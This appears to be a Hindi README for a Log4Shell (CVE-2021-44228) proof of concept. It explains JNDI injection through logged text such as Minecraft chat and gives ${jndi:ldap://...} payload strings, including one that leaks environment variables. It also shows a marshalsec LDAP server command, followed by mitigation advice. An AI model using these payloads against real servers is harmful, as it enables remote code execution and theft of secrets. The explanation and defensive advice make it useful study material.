
भेद्यता POC
CVE-2021-44228:
यह भेद्यता आपको लक्षित मशीन पर एक दुर्भावनापूर्ण संदेश लॉग करके मनमाना कोड निष्पादित करने की अनुमति देती है।
उदाहरण के लिए, आप चैट संदेश भेजकर Minecraft में इसका उपयोग कर सकते हैं, और सर्वर/खिलाड़ी मशीन चैट संदेश लॉग करके आपके कोड को निष्पादित करेगी।
LiveOverflow/CVE-2021-44228 वीडियो
संदेश में एक प्लेसहोल्डर ${} होना चाहिए जिसमें दूरस्थ ऑब्जेक्ट jndi API लोड करने का निर्देश हो। यह ObjectFactory के माध्यम से ऑब्जेक्ट लोड करेगा।
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
यदि क्लाइंट में ObjectFactory मौजूद नहीं है, तो यह कुछ नहीं करेगा।
सर्वर को resolve करने के अलावा।
इससे आप environment variables लीक कर सकते हैं:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
इतना overhyped क्यों?
अगर मेरी समझ सही है तो यह JNDI के लिए एक इंटरफ़ेस प्रदान करता है
क्या शोषण किया जा सकता है
JNDI JDAP एक ऑब्जेक्ट लुकअप API है।
आप सर्वर से एक Java ऑब्जेक्ट प्राप्त कर सकते हैं।
marshalsec/LDAPRefServer
यह Object डेटा और ObjectFactory का नाम भेजता है, जिसे क्लाइंट पर ऑब्जेक्ट बनाना चाहिए।
इसका शोषण कई तरीकों से किया जा सकता है।
यदि LDAP को बाहरी कोड पर भरोसा करने के लिए सक्षम किया गया है, तो हमें केवल एक दुर्भावनापूर्ण ObjectFactory को URL देना होगा।
com.sun.jndi.ldap.object.trustURLCodebase = true
या एक और Java भेद्यता है। JDK-8196902
इसके साथ मिलकर, यह वास्तव में एक RCE बन जाएगा।
GitHub पर कई POC रिपॉज़िटरी ऐसा करती हैं। उदाहरण के लिए tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
यदि यह false पर सेट है (डिफ़ॉल्ट रूप से यह false पर सेट है), तो हम लक्षित कोडबेस में एक exploit योग्य ObjectFactory खोज सकते हैं,
या JNDI को किसी भिन्न तरीके से exploit कर सकते हैं।
JNDI Injection के बारे में और पढ़ें:
JNDI injection
Veracode Research/rogue-jndi
RCEExample एक फ़ंक्शन है जो दुर्भावनापूर्ण संदेश लॉग करता है।
इसे चलाने के लिए बस run दबाएँ...
LoggerFactory एक ObjectFactory है जो जो कुछ भी उसे मिलेगा, उसे लॉग करेगा...
यदि आप marshalsec बनाते हैं, तो आप इसे LoggerFactory उपयोग करने के लिए कह सकते हैं
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample चलाएँ और exploit (लॉगर) देखें।LoggerFactory में एक ब्रेकपॉइंट लगा सकते हैं, ऑब्जेक्ट देख सकते हैं।आपका प्रोग्राम प्रभावित नहीं होता है यदि यह केवल अंतर्निहित संदेशों को लॉग करता है।
यदि प्रोग्राम किसी भी डेटा फ़ाइल से, या नेटवर्क से टेक्स्ट लॉग कर सकता है, तो यह असुरक्षित है।
लेकिन आपको इसे फिर भी ठीक करना चाहिए...
सबसे अच्छा उपाय यह है कि Log4J2 2.15.0+ पर अपडेट करें
यदि किसी कारण से यह संभव नहीं है, तो भेद्यता को कम करने के लिए निम्न Java तर्क से JNDI लुकअप अक्षम करें: ‐Dlog4j2.formatMsgNoLookups=True
यदि आप Minecraft सर्वर व्यवस्थापक हैं, तो आधिकारिक गाइड का पालन करें: महत्वपूर्ण संदेश: JAVA EDITION में सुरक्षा भेद्यता